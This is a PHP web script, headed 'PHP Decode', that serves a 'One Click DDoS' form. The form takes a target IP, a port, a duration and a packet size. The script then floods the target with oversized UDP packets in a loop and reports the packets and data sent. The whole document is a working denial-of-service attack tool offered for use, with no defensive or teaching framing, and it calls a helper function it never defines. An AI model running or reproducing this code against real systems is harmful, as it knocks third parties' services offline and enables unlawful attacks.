PHP Decode

<?php  
    if(isset($_GET['ip']) &&  
    isset($_GET['exTime']) &&  
    isset($_GET['port']) &&  
    isset($_GET['timeout']) &&  
    isset($_GET['exTime']) &&  
    $_GET['exTime'] != "" &&  
    $_GET['port'] != "" &&  
    $_GET['ip'] != "" &&  
    $_GET['timeout'] != "" &&  
    $_GET['exTime'] != "" 
    )  
    {  
       $IP=$_GET['ip'];  
       $port=$_GET['port'];  
       $executionTime = $_GET['exTime'];  
       $noOfBytes = $_GET['noOfBytes'];  
       $data = "";  
       $timeout = $_GET['timeout'];  
       $packets = 0;  
       $counter = $noOfBytes;  
       $maxTime = time() + $executionTime;;  
       while($counter--)  
       {  
            $data .= "X";  
       }  
       $data .= " I-47";   
       print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";  
          
       while(1)  
       {  
            $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);  
            if($socket)  
            {  
                fwrite($socket , $data);  
                fclose($socket);  
                $packets++;  
            }  
            if(time() >= $maxTime)  
            {  
                break;  
            }  
        }  
         
        echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";  
        echo "Total Number of Packets Sent : " . $packets . "<br />";  
        echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";   
        echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";  
    }  
    else 
    {  
        ?>  
        <form method="GET">  
        <title>One Click DDoS </title>  
   
            <input type="hidden" name="dos" />  
            <table id="margins">  
                <tr>  
                    <td width="400" class="title">  
                        <font color="red">IP </font>  
                    </td>  
                    <td>  
                        <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>  
                    </td>  
                </tr>  
                   
                <tr>  
                    <td class="title">  
                          <font color="red">Port</font>  
                    </td>  
                    <td>  
                        <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>  
                    </td>  
                </tr>  
                   
                <tr>  
                    <td class="title">  
                         <font color="red">Timeout(Time in seconds)</font>  
                    </td>  
                    <td>  
                        <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />  
                    </td>  
                </tr>  
                   
                   
                <tr>  
                    <td class="title">  
                         <font color="red">Execution Time (Time in seconds)</font>   
                    </td>  
                    <td>  
                        <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>  
                    </td>  
                </tr>  
                   
                <tr>  
                    <td class="title">  
                           <font color="red"> No of Bytes per/packet</font>   
                    </td>  
                    <td>  
                        <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>  
                    </td>  
                </tr>  
                   
   
                <tr>  
                    <td rowspan="2">  
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="   Attack >> "/>  
                    </td>  
                </tr>  
            </table>              
        </form>  
        <?php  
    }  
?>